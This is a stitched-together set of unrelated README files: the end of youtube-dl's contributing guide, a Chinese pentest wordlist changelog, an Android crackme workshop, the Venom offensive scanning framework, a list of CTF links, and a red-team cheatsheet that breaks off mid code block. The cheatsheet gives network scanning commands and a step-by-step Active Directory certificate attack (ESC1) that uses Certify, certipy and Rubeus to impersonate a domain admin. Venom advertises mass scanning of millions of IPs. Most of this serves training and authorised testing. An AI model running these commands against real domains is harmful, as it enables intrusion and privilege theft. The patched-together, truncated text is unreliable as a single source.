People want to solve problems, and often think they do us a favor by breaking down their larger problems (e.g. wanting to skip already downloaded files) to a specific request (e.g. requesting us to look whether the file exists before downloading the info page). However, what often happens is that they break down the problem into two steps: One simple, and one impossible (or extremely complicated one).
We are then presented with a very complicated request when the original problem could be solved far easier, e.g. by recording the downloaded video IDs in a separate file. To avoid this, you must include the greater context where it is non-obvious. In particular, every feature request that does not consist of adding support for a new site should contain a use case scenario that explains in what situation the missing feature would be useful.
### Does the issue involve one problem, and one problem only?
Some of our users seem to think there is a limit of issues they can or should open. There is no limit of issues they can or should open. While it may seem appealing to be able to dump all your issues into one ticket, that means that someone who solves one of your issues cannot mark the issue as closed. Typically, reporting a bunch of issues leads to the ticket lingering since nobody wants to attack that behemoth, until someone mercifully splits the issue into multiple ones.
In particular, every site support request issue should only pertain to services at one site (generally under a common domain, but always using the same backend technology). Do not request support for vimeo user videos, White house podcasts, and Google Plus pages in the same issue. Also, make sure that you don't post bug reports alongside feature requests. As a rule of thumb, a feature request does not include outputs of youtube-dl that are not immediately related to the feature at hand. Do not post reports of a network error alongside the request for a new video service.
### Is anyone going to need the feature?
Only post features that you (or an incapacitated friend you can personally talk to) require. Do not post features because they seem like a good idea. If they are really useful, they will be requested by someone who requires them.
### Is your question about youtube-dl?
It may sound strange, but some bug reports we receive are completely unrelated to youtube-dl and relate to a different, or even the reporter's own, application. Please make sure that you are actually using youtube-dl. If you are using a UI for youtube-dl, report the bug to the maintainer of the actual application providing the UI. On the other hand, if your UI for youtube-dl fails in some way you believe is related to youtube-dl, by all means, go ahead and report the bug.
# COPYRIGHT
youtube-dl is released into the public domain by the copyright holders.
This README file was originally written by [Daniel Bolton](https://github.com/dbbolton) and is likewise released into the public domain.
|
# Dictionary-Of-Pentesting
## 简介
收集一些常用的字典，用于渗透测试、SRC漏洞挖掘、爆破、Fuzzing等实战中。
收集以实用为原则。目前主要分类有认证类、文件路径类、端口类、域名类、无线类、正则类。
涉及的内容包含设备默认密码、文件路径、通用默认密码、HTTP参数、HTTP请求头、正则、应用服务默认密码、子域名、用户名、系统密码、Wifi密码等。
该项目计划持续收集。
## 更新记录
**2021.06.06**
1. 增加SuperWordlist的用户名和密码字典。包括Tomcat、PMA、DEV等密码字典，还有CN、EN邮箱用户名、TOP20管理用户名。
2. 200万子域名字典
**2021.06.02**
1. 增加43个云waf或cdn列表
**2021.05.28**
1. 增加wappalyzer的指纹规则
**2021.04.28**
1. XXE payloads for specific DTDs
**2021.04.26**
1. 增加云厂商的metadata有用的一些地址。（包含AWS、Google Cloud、Digital Ocean 、Packetcloud、Azure、Oracle Cloud 、Alibaba、OpenStack/RackSpace 、Oracle Cloud、Kubernetes）
**2021.02.19**
1. 增加aem路径列表
**2021.02.07**
1. 增加top25 漏洞参数(SQLI/XSS/RCE/OPENREDIRECT/LFI/SSRF)
**2021.02.04**
1. 增加all.txt 字典。
**2021.02.03**
1. 增加amass的子域名字典。
**2021.01.31**
1. 增加AllAboutBugBounty项目的文档
**2021.01.27**
1. 增加几个可能导致RCE的端口
**2021.01.24**
1. 增加两个github dork
**2021.01.16**
1. 增加cve的一些路径
2. 一些已知错误配置的路径
3. 一些API端点或服务器信息的特殊路径
4. 以上3种的合集（去重后）
**2021.01.13**
1. 增加callback参数字典
2. 增加常见报错信息字符串列表
3. 增加debug参数字典
4. 增加snmp密码字典
5. 增加weblogic常见用户名密码
6. 增加oracle用户名、密码字典
**2021.01.04**
1. 增加DefaultCreds-cheat-sheet
**2021.01.03**
1. 增加crackstation下载地址（由于字典太大，给出下载链接）。
2. 增加rockyou字典。
3. 增加cain字典。
**2021.01.02**
1. 增加webshell密码字典
2. 增加7w和81万请求参数字典
3. 增加Lcoalhost地址字典
4. HTML标签列表
**2020.12.31**
1. 增加域账户弱密码字典（7000+）
**2020.12.30**
1. 增加ntlm验证的路径
**2020.12.15**
1. 增加github dork的搜索脚本。
**2020.12.09**
1. 增加CEH web services的用户名和密码字典。
**2020.12.07**
1. 增加oracle路径列表
**2020.11.23**
1. 增加ctf字典。
2. 增加摄像rtsp默认路径和默认用户名和密码
**2020.11.14**
1. 增加1个ics 默认密码字典
2. 增加1个设备默认密码字典（3400余条）
**2020.11.04**
1. 增加 Wordpress BruteForc List
**2020.11.03**
1. 增加几个默认口令
**2020.10.15**
1. 增加一些payload
**2020.09.30**
1. 增加常见可以RCE的端口
**2020.09.29**
1. bugbounty oneliner rce
2. 一些默认路径
3. top 100k 密码字典
4. top 5k 用户名字典
5. 一些代码审计正则表达式
**2020.09.27**
1. 增加cms识别指纹规则集，包含 fofa/Wappalyzer/WEBEYE/web中间件/开发语言 等众多指纹库内容
**2020.09.22**
1. 修改swagger字典，添加5条路径
**2020.09.21**
1. 增加3种类型密码字典，拼音、纯数字、键盘密码字典
2. 增加scada 默认密码，硬编码等列表
**2020.09.18**
1. 增加11k+用户名密码组合
**2020.09.17**
1. 增加action后缀 top 100
2. javascript 中on事件列表
3. URL 16进制fuzz
**2020.09.15**
1. 增加XXE bruteforce wordlist
2. 增加sql备份文件名字典
3. 删除重复的spring boot内容
**2020.09.10**
1. 增加自己收集的webservices内容。包含webservices目录，文件名，拓展名。后续计划增加存在漏洞webservices路径内容
2. readme中增加更新历史
**2020.09.09**
1. 增加weblogic路径
2. 增加swagger路径
3. 增加graphql路径
4. 增加spring-boot路径
5. 去掉device/default_password_list.txt文件中的空行
**2020.09.08**
1. 更新jsFileDict.txt字典，增加4个js文件名
**2020.09.07**
1. 添加绕过ip限制的http请求投
2. 修改readme.md
**2020.08.29**
1. 增加常见设备、安全产品默认口令
2. 增加一行命令的BugBounty tips
3. 增加两处参数字典
4. 增加bruteforce-lists的字典
5. Readme 文件增加来源。逐渐完善。
**2020.08.28**
1. 增加api路径
2. 增加js文件路径
3. 增加http请求参数
4. 增加http请求参数值
**2020.08.27**
1. 删除一些多余文件
2. 精简Files下的dict的层级
3. 增加DirBuster字典
4. 增加spring boot actuator字典
**2020.08.26**
首次提交
## 来源&致谢（排名不分先后。目前还不全，会陆续完善）
该项目内容均来源于网络或自己整理，感谢各位大佬们的共享精神和辛苦付出~
* [https://github.com/maurosoria/dirsearch](https://github.com/maurosoria/dirsearch)
* [https://github.com/dwisiswant0/awesome-oneliner-bugbounty](https://github.com/dwisiswant0/awesome-oneliner-bugbounty)
* [https://github.com/internetwache/CT_subdomains](https://github.com/internetwache/CT_subdomains)
* [https://github.com/lijiejie/subDomainsBrute](https://github.com/lijiejie/subDomainsBrute)
* [https://github.com/shmilylty/OneForAll](https://github.com/shmilylty/OneForAll)
* [https://github.com/random-robbie/bruteforce-lists](https://github.com/random-robbie/bruteforce-lists)
* [https://github.com/dwisiswant0/awesome-oneliner-bugbounty](https://github.com/dwisiswant0/awesome-oneliner-bugbounty)
* [https://github.com/OfJAAH/KingOfBugBountyTips](https://github.com/OfJAAH/KingOfBugBountyTips)
* [https://github.com/danielmiessler/SecLists](https://github.com/danielmiessler/SecLists)
* [https://github.com/TheKingOfDuck/fuzzDicts](https://github.com/TheKingOfDuck/fuzzDicts)
* [https://github.com/NS-Sp4ce/Dict](https://github.com/NS-Sp4ce/Dict)
* [https://github.com/s0md3v/Arjun](https://github.com/s0md3v/Arjun)
* [https://github.com/fuzzdb-project/fuzzdb](https://github.com/fuzzdb-project/fuzzdb)
* [https://github.com/YasserGersy/Enums/](https://github.com/YasserGersy/Enums/)
* [https://gist.github.com/honoki/d7035c3ccca1698ec7b541c77b9410cf](https://gist.github.com/honoki/d7035c3ccca1698ec7b541c77b9410cf)
* [https://twitter.com/DanielAzulay18/status/1304751830539395072](https://twitter.com/DanielAzulay18/status/1304751830539395072)
* [https://github.com/cwkiller/Pentest_Dic](https://github.com/cwkiller/Pentest_Dic)
* [https://github.com/huyuanzhi2/password_brute_dictionary](https://github.com/huyuanzhi2/password_brute_dictionary)
* [https://github.com/Clear2020/icsmaster/](https://github.com/Clear2020/icsmaster/)
* [https://github.com/LandGrey/SpringBootVulExploit](https://github.com/LandGrey/SpringBootVulExploit)
* [https://github.com/al0ne/Vxscan][https://github.com/al0ne/Vxscan]
* [https://github.com/L0kiii/FofaScan](https://github.com/L0kiii/FofaScan)
* [https://github.com/nw01f/CmsIdentification-masterV2](https://github.com/nw01f/CmsIdentification-masterV2)
* [https://github.com/Lucifer1993/cmsprint](https://github.com/Lucifer1993/cmsprint)
* [https://github.com/erwanlr/Fingerprinter](https://github.com/erwanlr/Fingerprinter)
* [https://github.com/lewiswu1209/fingerprint](https://github.com/lewiswu1209/fingerprint)
* [https://github.com/shelld3v/RCE-python-oneliner-payload](https://github.com/shelld3v/RCE-python-oneliner-payload)
* [https://twitter.com/ptswarm/status/1311310897592315905](https://twitter.com/ptswarm/status/1311310897592315905)
* [https://github.com/xer0days/BugBounty](https://github.com/xer0days/BugBounty)
* [https://twitter.com/ptswarm/status/1323266632920256512](https://twitter.com/ptswarm/status/1323266632920256512)
* [https://github.com/kongsec/Wordpress-BruteForce-List/](https://github.com/kongsec/Wordpress-BruteForce-List/)
* [https://github.com/nyxxxie/awesome-default-passwords](https://github.com/nyxxxie/awesome-default-passwords)
* [https://github.com/arnaudsoullie/ics-default-passwords](https://github.com/arnaudsoullie/ics-default-passwords)
* [https://github.com/Ullaakut/cameradar](https://github.com/Ullaakut/cameradar)
* [https://github.com/pwnfoo/NTLMRecon](https://github.com/pwnfoo/NTLMRecon)
* [https://github.com/chroblert/domainWeakPasswdCheck](https://github.com/chroblert/domainWeakPasswdCheck/)
* [https://github.com/gh0stkey/Web-Fuzzing-Box](https://github.com/gh0stkey/Web-Fuzzing-Box)
* [https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm](https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm)
* [https://github.com/ihebski/DefaultCreds-cheat-sheet](https://github.com/ihebski/DefaultCreds-cheat-sheet)
* [https://github.com/epony4c/Exploit-Dictionary](https://github.com/epony4c/Exploit-Dictionary)
* [https://github.com/ayoubfathi/leaky-paths](https://github.com/ayoubfathi/leaky-paths)
* [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker)
* [https://github.com/daffainfo/AllAboutBugBounty](https://github.com/daffainfo/AllAboutBugBounty)
* [https://github.com/OWASP/Amass](https://github.com/OWASP/Amass)
* [https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056](https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056)
* [https://github.com/lutfumertceylan/top25-parameter](https://github.com/lutfumertceylan/top25-parameter)
* [https://github.com/clarkvoss/AEM-List](https://github.com/clarkvoss/AEM-List)
* [https://gist.github.com/BuffaloWill/fa96693af67e3a3dd3fb](https://gist.github.com/BuffaloWill/fa96693af67e3a3dd3fb)
* [https://raw.githubusercontent.com/GoSecure/dtd-finder/master/list/xxe_payloads.md](https://raw.githubusercontent.com/GoSecure/dtd-finder/master/list/xxe_payloads.md)
* [https://raw.githubusercontent.com/AliasIO/wappalyzer/master/src/technologies.json](https://raw.githubusercontent.com/AliasIO/wappalyzer/master/src/technologies.json)
* [https://github.com/fuzz-security/SuperWordlist](https://github.com/fuzz-security/SuperWordlist)
* [https://wordlists.assetnote.io/](https://wordlists.assetnote.io/) |
# CyberTruckChallenge22
Android security workshop taught at the CyberTruck Challenge 2022 (Michigan USA). Further info at https://www.cybertruckchallenge.org
## Description
A new mobile remote keyless system "CyberTruck" has been implemented by one of the most well-known car security companies "NowSecure Mobile Vehicles". The car security company has ensured that the system is entirely uncrackable and therefore attackers will not be able to recover secrets within the mobile application.
If you are an experienced Android reverser, then enable the `tamperproof` button to harden the application before unlocking your cars. Your goal will consist on recovering up to 6 secrets in the application.
## Material
The content is provided in folders such as:
- `slides`: Presentation during the Android workshop (~2h)
- `docker`: Docker image with all tools ready
- `apk`: Final Android crackme APK which can unlock up to 3 vehicles.
- `src`: Source code of the crackme
- `notes`: Additional notes, troubleshooting, and so on
- `solutions`: Possible solutions to the crackme (x86 and Aarch64)
- `student`: JS code provided as template to write your Frida hooks
- `img:`: Screenshots of the crackme running on the Android emulator
## Mobile CTF: Android Crackme
It is required to have an Android device either emulated or physical. During the workshop we employed an AVD running Android 11 that it can be obtained for free with Android Studio. Additionally, the tamperproof check needs to have the Frida server binary placed in `/data/local/tmp/frida-server`.
### Challenge1 to unlock car1. "DES key: Completely Keyless. Completely safe"
- `50pts`: There is a secret used to create a DES key. Can you tell me which one?
- `100pts`: There is a token generated at runtime to unlock the carid=1. Can you get it? (flag must be submitted in hexa all lowercase)
### Challenge2 to unlock car2: "AES key: Your Cell Mobile Is Your Key"
- `50pts`: This challenge has been obfuscated with ProGuard, therefore you will not recover the AES key.
- `100pts`: There is a token generated at runtime to unlock the carid=2. Can you get it? (flag must be submitted in hexa all lowercase)
### Challenge3 to unlock car3. "Mr Truck: Unlock me Baby!"
- `50pts`: There is an interesting string in the native code. Can you catch it?
- `100pts`: Get the secret generated at runtime to unlock the carid=3. Security by obscurity is not a great design. Use real crypto! (hint: check the length when submitting the secret!)
### Contact
Eduardo Novella <[email protected]>
### Public Write-ups
- [verso.se](https://www.revers0.xyz/posts/cybertruck) (by [Joan Calabrés](https://twitter.com/jcalabres22))
- [bugbountywriteup](https://medium.com/bugbountywriteup/cybertruck-challenge-2019-android-ctf-e39c7f796530) (by [Harshit Maheshwari](https://twitter.com/fake_batman_))
- [GitHub](https://github.com/user1342/CyberTruck-2019-Android-CTF-Writeup) (By [James Stevenson](https://twitter.com/_JamesStevenson))
- [GitHub.io](https://nibarius.github.io/learning-frida/2020/08/17/cybertruckchallange19) (by [Nibarius](https://github.com/nibarius))
- [GitHub.io (native layer)](https://nibarius.github.io/learning-frida/2020/08/22/cybertruckchallange19-revisited) (by [Nibarius](https://github.com/nibarius))
- [alp.run](https://alp.run/2021/02/09/cybertruckchallenge19_writeup.html) (by [Alp Eren](https://twitter.com/isik_erenalp))
|
# Venom
#### Offensive Security Framework for Vulnerability Scanning & Pentesting
[](https://www.python.org/downloads/release/python-3614)
[](https://www.gnu.org/licenses/gpl-3.0)
[](https://hub.docker.com/r/vittring/venom/)
[](https://hub.docker.com/r/vittring/venom/)
[](https://github.com/psf/black)
> **Warning**: Version 4.3.3 now requires PROXIES/VPN.
##### Features
- [x] Cloudflare Resolver [Cloudbuster]
- [x] LFI->RCE and XSS Scanning [LFI to RCE & XSS]
- [x] SQL Injection Vuln Scanner [SQLi]
- [x] Extremely Large D0rk Target Lists
- [x] Detects known WAFs
- [x] AdminPage Finding
- [x] CCTV/Networked Interfaces discovery [WIP] <<<<
- [x] Vulnerable FTPs Scanner [Toxin]
- [x] DNS Bruteforcer
- [x] Python 3.6 asyncio based scanning
- [x] Cloudflare resolver
- [x] Extremely quick "Toxin" Vulnerable IP scanner to scan potentially millions of ips for known vulnerable services.
- [x] Free and Open /src/
- [x] Cross-platform Python-based toolkit
- [x] Licensed under GPLv3
- [x] Built by hackers with full transparency
- [x] No more issues with dependencies from pre-alpha release
**This is outdated.**
**NOTE:** You MUST install these on Ubuntu and Kali.
Ubuntu users:
Please make sure you `sudo apt-get install python3-bs4` | `apt-get install python3-setuptools`
Kali users:
Please `apt-get install python3-dev` | `apt-get install python-dev`
**NOTE:** Install Poetry for deps:
`curl -sSL https://install.python-poetry.org | python3 - poetry install # install deps poetry update # when you want to check for deps updates`
Docker users:
Please see [Dockerfile](docker/README.md)
## Contact Information:
Submit a bug report/pull request with prefix "Query" at the start.
## Credits to:
- Architect for the initial encouragement and support in V3n0ms early days
- SageHack for allowing Cloudbuster to be adapted for use within V3n0M
- D35m0nd142 for allowing Collaboration and the use of LFI Suite within V3n0M
- b4ltazar & all members of darkc0de.com for inspiring the project with darkd0rk3r
## Make Love and Smoke Trees.
|
# Hacking Resources
CTF chall write-ups, files, scripts etc to go with my video walkthroughs **[HERE](https://www.youtube.com/@_CryptoCat)**
A challenge that takes 10 hours to solve, takes 10 minutes to explain :)
# CTF
**[CTFTime](https://ctftime.org)**<br>
**[OverTheWire](https://overthewire.org/wargames)**<br>
**[PicoCTF](https://play.picoctf.org)**<br>
**[ImaginaryCTF](https://imaginaryctf.org)**<br>
**[Intigriti Monthly XSS](https://challenge.intigriti.io)**<br>
**[247CTF](https://247ctf.com)**<br>
**[CTF Challenge](https://ctfchallenge.com)**<br>
**[CTF Learn](https://ctflearn.com)**<br>
**[CryptoHack](https://cryptohack.org)**<br>
**[Google CTF](https://capturetheflag.withgoogle.com)**<br>
**[HackThisSite](https://www.hackthissite.org)**<br>
**[SmashTheStack](http://smashthestack.org/wargames.html)**<br>
**[W3Challs](https://w3challs.com/challenges)**<br>
**[Ringzer0CTF](https://ringzer0ctf.com/challenges)**<br>
**[Enigma Group](https://www.enigmagroup.org)**<br>
**[Root Me](https://www.root-me.org)**<br>
**[SecurityValley CTF](https://ctf.securityvalley.org)**<br>
**[Game Hacking](https://github.com/mrT4ntr4/CTF-Game-Challenges)**<br>
**[Mobile](https://github.com/xtiankisutsa/awesome-mobile-CTF)**
# Pentesting
**[HackTheBox](https://affiliate.hackthebox.com/cryptocat-htb)**<br>
**[TryHackMe](https://tryhackme.com)**<br>
**[OffSec Proving Grounds](https://www.offensive-security.com/labs)**<br>
**[Web Security Academy](https://portswigger.net/web-security)**<br>
**[OWASP Juice Shop](https://github.com/juice-shop/juice-shop-ctf)**<br>
**[Damn Vulnerable Web Application (DVWA)](https://github.com/digininja/DVWA)**<br>
**[AWSGoat: Damn Vulnerable AWS](https://github.com/ine-labs/AWSGoat)**<br>
**[AzureGoat: Damn Vulnerable Azure](https://github.com/ine-labs/AzureGoat)**<br>
**[Damn Vulnerable DeFi](https://www.damnvulnerabledefi.xyz)**<br>
**[Ethernaut: Web3/Solidity Hacking](https://ethernaut.openzeppelin.com)**<br>
**[Hacker 101](https://ctf.hacker101.com)**<br>
**[PentesterLab](https://pentesterlab.com)**<br>
**[VulnHub](https://www.vulnhub.com)**<br>
**[VulnMachines](https://www.vulnmachines.com)**<br>
**[HackingLab](https://www.hacking-lab.com/index.html)**<br>
**[CyberSecLabs](https://www.cyberseclabs.co.uk)**<br>
**[UnderTheWire](https://underthewire.tech/wargames)**<br>
**[HackXOR](https://hackxor.net)**<br>
**[Hacktoria](https://hacktoria.com)**
# Pwn / RE
**[Pwn.College](https://pwn.college)**<br>
**[ROP Emporium](https://ropemporium.com)**<br>
**[Exploit Education](https://exploit.education)**<br>
**[How2Heap](https://github.com/shellphish/how2heap)**<br>
**[GuidedHacking](https://guidedhacking.com)**<br>
**[Pwnables](https://pwnable.tw/challenge)**<br>
**[Deusx64](https://deusx64.ai)**<br>
**[Roppers Academy](https://roppers.org/collections)**<br>
**[Azeria Labs](https://azeria-labs.com/writing-arm-assembly-part-1)**<br>
**[Reversing Challenges](https://challenges.re)**<br>
**[Begin RE](https://www.begin.re)**<br>
**[CrackMes](https://crackmes.one)**
# Blue Team
**[LetsDefend](https://letsdefend.io)**<br>
**[Blue Team Labs Online](https://blueteamlabs.online)**<br>
**[Cyber Defenders](https://cyberdefenders.org)**<br>
**[Attack Defense](https://attackdefense.com)**<br>
**[Immersive Labs](https://dca.immersivelabs.online)**
# Videos
**[LiveOverflow](https://www.youtube.com/playlist?list=PLhixgUqwRTjxglIswKp9mpkfPNfHkzyeN)**<br>
**[John Hammond](https://www.youtube.com/c/JohnHammond010)**<br>
**[IppSec](https://www.youtube.com/channel/UCa6eh7gCkpPo5XXUDfygQQA)**<br>
**[XCT](https://www.youtube.com/channel/UClGm2C8Qi0_Wv68zfjCz2YA)**<br>
**[Gynvael](https://www.youtube.com/user/GynvaelEN)**<br>
**[ZetaTwo](https://www.youtube.com/c/ZetaTwo)**<br>
**[PwnFunction](https://www.youtube.com/channel/UCW6MNdOsqv2E9AjQkv9we7A)**<br>
**[0xdf](https://www.youtube.com/channel/UChO9OAH57Flz35RRX__E25A)**<br>
**[BBRE](https://www.youtube.com/@BugBountyReportsExplained)**<br>
**[CTBB podcast](https://www.youtube.com/@criticalthinkingpodcast)**<br>
**[0xdf](https://www.youtube.com/channel/UChO9OAH57Flz35RRX__E25A)**<br>
**[247CTF](https://www.youtube.com/channel/UCtGLeKomT06x3xZ2SZp2l9Q)**<br>
**[MalFind](https://www.youtube.com/channel/UCJf4-reOhoiAlScWC1WzLgQ)**<br>
**[DayZeroSec](https://www.youtube.com/c/dayzerosec)**<br>
**[Rana Khalil](https://www.youtube.com/c/RanaKhalil101)**<br>
**[PinkDraconian](https://www.youtube.com/channel/UCmXwpkCXmIKjoRLMsq9I3RA)**<br>
**[Superhero1](https://www.youtube.com/channel/UCm2SwKmx3Ya1HG5RmHR7SCA)**<br>
**[S1lk](https://www.youtube.com/c/AlexChaveriat)**<br>
**[Alh4zr3d](https://www.youtube.com/channel/UCz-Z-d2VPQXHGkch0-_KovA)**<br>
**[Paweł Łukasik](https://www.youtube.com/c/PawelLukasik)**<br>
**[Ephemeral](https://www.youtube.com/c/BasteG0d69)**<br>
**[Hak5](https://www.youtube.com/c/hak5)**<br>
**[GuidedHacking](https://www.youtube.com/channel/UCCMi6F5Ac3kQDfffWXQGZDw)**<br>
**[Stephen Chapman](https://www.youtube.com/channel/UCqfqH-wq12WOm4QG4KiRisw)**<br>
**[Conda](https://www.youtube.com/c/c0nd4)**<br>
**[HackerSploit](https://www.youtube.com/c/HackerSploit)**<br>
**[Condingo](https://www.youtube.com/c/codingo)**<br>
**[InsiderPhd](https://www.youtube.com/c/InsiderPhD)**<br>
**[HackSplained](https://www.youtube.com/c/Hacksplained)**<br>
**[TheCyberMentor](https://www.youtube.com/c/TheCyberMentor)**<br>
**[StackSmashing](https://www.youtube.com/c/stacksmashing)**<br>
**[Cybersecurity Meg](https://www.youtube.com/c/CybersecurityMeg)**<br>
**[Tib3rius](https://www.youtube.com/c/Tib3rius)**<br>
**[SecAura](https://www.youtube.com/channel/UCx89Lz24SEPZpExl6OfQ0Gg)**<br>
**[DarkSec](https://www.youtube.com/c/DarkSec)**<br>
**[Hexorcist](https://www.youtube.com/c/HEXORCIST)**<br>
**[PwnCollege](https://www.youtube.com/c/pwncollege)**<br>
**[NahamSec](https://www.youtube.com/c/Nahamsec)**<br>
**[LaurieWired](https://www.youtube.com/@lauriewired)**<br>
**[Optional](https://www.youtube.com/c/optionalctf)**<br>
**[TheHackerish](https://www.youtube.com/c/thehackerish)**<br>
**[SloppyJoePirates](https://www.youtube.com/@SloppyJoePirates)**<br>
**[AlmondForce](https://www.youtube.com/c/AlmondForce)**<br>
**[VulnMachines](https://www.youtube.com/c/vulnmachines)**<br>
**[More](https://securitycreators.video)**<br>
**[Even More..](https://www.youtube.com/c/CryptoCat23/channels?view=56&shelf_id=0)**
# Tools
**[Ghidra](https://ghidra-sre.org/CheatSheet.html)**<br>
**[Volatility](https://github.com/volatilityfoundation/volatility/wiki/Linux)**<br>
**[PwnTools](https://github.com/Gallopsled/pwntools-tutorial)**<br>
**[CyberChef](https://gchq.github.io/CyberChef)**<br>
**[DCode](https://www.dcode.fr/en)**<br>
**[Decompile Code](https://www.decompiler.com)**<br>
**[Run Code](https://tio.run)**<br>
**[GTFOBins](https://gtfobins.github.io)**<br>
**[ExploitDB](https://www.exploit-db.com)**<br>
**[OffsecTools](https://offsec.tools)**<br>
**[RevShells](https://revshells.com)**
# More Resources
**[Bug Bounty Platforms](https://github.com/disclose/bug-bounty-platforms)**<br>
**[HackTricks](https://book.hacktricks.xyz/pentesting-methodology)**<br>
**[CTF Resources](https://github.com/apsdehal/awesome-ctf)**<br>
**[Security Resources](https://github.com/CompassSecurity/security_resources)**<br>
**[Bug Bounty Resources](https://www.hacker101.com/resources)**<br>
**[Seal9055 Resources](https://github.com/seal9055/resources)**<br>
**[Forensics](https://cugu.github.io/awesome-forensics)**<br>
**[Learn RE](https://hshrzd.wordpress.com/how-to-start)**<br>
**[Learn BinExp](https://guyinatuxedo.github.io)**<br>
**[HTB Writeups](https://0xdf.gitlab.io)** |
# A Red-Teamer diaries
<p align="center">
<img src="https://www.welivesecurity.com/wp-content/uploads/2014/05/rooftop-1024x576.png"/>
</p>
Publicly accessible notes about my pentesting/red teaming experiments tested on several controlled environments/infrastructures that involve playing with various tools and techniques used by penetration testers and redteamers during a security assessment.
- [x] Project in progress
### Contribute
We welcome contributions as github pull requests.<br>
Kudos and thanks for the people who did the hard stuff
</br>
### Goals
* Pentest/red team cheatsheet that collects snippets of codes and commands to help pentester during an engagement(saving time/fast search for a specific command).
* Understand how the attacks can be performed
* take notes for future reference
> #### Disclaimer
> For educational purposes only, use it at your own responsibility.
## Intrusion Kill Chain
<p align="center">
<img src="https://camo.githubusercontent.com/9547d8152e3490a6e5e3da0279faab64340885be/68747470733a2f2f646f63732e6d6963726f736f66742e636f6d2f656e2d75732f616476616e6365642d7468726561742d616e616c79746963732f6d656469612f61747461636b2d6b696c6c2d636861696e2d736d616c6c2e6a7067" alt="KillChain"/>
</p>
# Mapping the Network
## RunFinger.py
Gather information about the Domain name and windows machine running in the network
```bash
bash$ cd /usr/share/Responder/tools
bash$ sudo python RunFinger.py -i 192.168.1.1/24
```
or
```bash
bash$ responder-RunFinger
```
## Nbtscan
Scanning IP networks for NetBIOS name information.
```bash
bash$ sudo nbtscan -v -s : 192.168.1.0/24
```
## Crackmapexec v 4.0
Scan the network range based on the SMB information
```bash
bash$ cme smb 192.168.1.1/24
```
## Nmap scan
Scan all the machine network and save the outputs .
* -oA options : Means output with all format
* -T4 : Fast scan
Fast Scan
```bash
bash$ nmap -p 1-65535 -sV -sS -T4 -oA output target_IP
```
Intensive Scan (Note recommended):
```bash
bash$ nmap -p 1-65535 -Pn -A -oA output target_IP
```
Scan with enumeration of the running services version :
* -sC : default scripts Equivalent to --script=default
* -sV : Get the service version
```bash
bash$ nmap -sC -sV -oA output target
```
## Angry IP scanner
Download the tool from this link :
[Angry IP Scanner](http://angryip.org/download/#linux)
* Change the preferences settings
> Go to : Preferences -> Ports -> add 80,445,554,21 ,22 in the port selection <br>
> Go to : Preferences -> Display -> select Alive Hosts <br>
> Go to : Preferences -> Pinging -> select Combained (UDP/TCP)
# Lateral Movement and Exploitation
### Active Directory Certificate Services
This part was copied from https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#esc1---misconfigured-certificate-templates
<br>For more details check : https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation
(Tested on private environment (Bloodhound then ESC1 exploit)
* Find ADCS Server
* `crackmapexec ldap domain.lab -u username -p password -M adcs`
* `ldapsearch -H ldap://dc_IP -x -LLL -D 'CN=<user>,OU=Users,DC=domain,DC=local' -w '<password>' -b "CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=CONFIGURATION,DC=domain,DC=local" dNSHostName`
* Enumerate AD Enterprise CAs with certutil: `certutil.exe -config - -ping`, `certutil -dump`
#### ESC1 - Misconfigured Certificate Templates
> Domain Users can enroll in the **VulnTemplate** template, which can be used for client authentication and has **ENROLLEE_SUPPLIES_SUBJECT** set. This allows anyone to enroll in this template and specify an arbitrary Subject Alternative Name (i.e. as a DA). Allows additional identities to be bound to a certificate beyond the Subject.
Requirements:
* Template that allows for AD authentication
* **ENROLLEE_SUPPLIES_SUBJECT** flag
* [PKINIT] Client Authentication, Smart Card Logon, Any Purpose, or No EKU (Extended/Enhanced Key Usage)
Exploitation:
* Use [Certify.exe](https://github.com/GhostPack/Certify) to see if there are any vulnerable templates
```ps1
Certify.exe find /vulnerable
Certify.exe find /vulnerable /currentuser
# or
PS> Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2) (pkiextendedkeyusage=1.3.6.1.5.2.3.4))(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=1))' -SearchBase 'CN=Configuration,DC=lab,DC=local'
# or
certipy 'domain.local'/'user':'password'@'domaincontroller' find -bloodhound
```
* Use Certify, [Certi](https://github.com/eloypgz/certi) or [Certipy](https://github.com/ly4k/Certipy) to request a Certificate and add an alternative name (user to impersonate)
```ps1
# request certificates for the machine account by executing Certify with the "/machine" argument from an elevated command prompt.
Certify.exe request /ca:dc.domain.local\domain-DC-CA /template:VulnTemplate /altname:domadmin
certi.py req 'contoso.local/[email protected]' contoso-DC01-CA -k -n --alt-name han --template UserSAN
certipy req 'corp.local/john:[email protected]' -ca 'corp-CA' -template 'ESC1' -alt '[email protected]'
```
* Use OpenSSL and convert the certificate, do not enter a password
```ps1
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
```
* Move the cert.pfx to the target machine filesystem and request a TGT for the altname user using Rubeus
```ps1
Rubeus.exe asktgt /user:domadmin /certificate:C:\Temp\cert.pfx
```
**WARNING**: These certificates will still be usable even if the user or computer resets their password!
**NOTE**: Look for **EDITF_ATTRIBUTESUBJECTALTNAME2**, **CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT**, **ManageCA** flags, and NTLM Relay to AD CS HTTP Endpoints.
#### ESC2 - Misconfigured Certificate Templates
Requirements:
* Allows requesters to specify a Subject Alternative Name (SAN) in the CSR as well as allows Any Purpose EKU (2.5.29.37.0)
Exploitation:
* Find template
```ps1
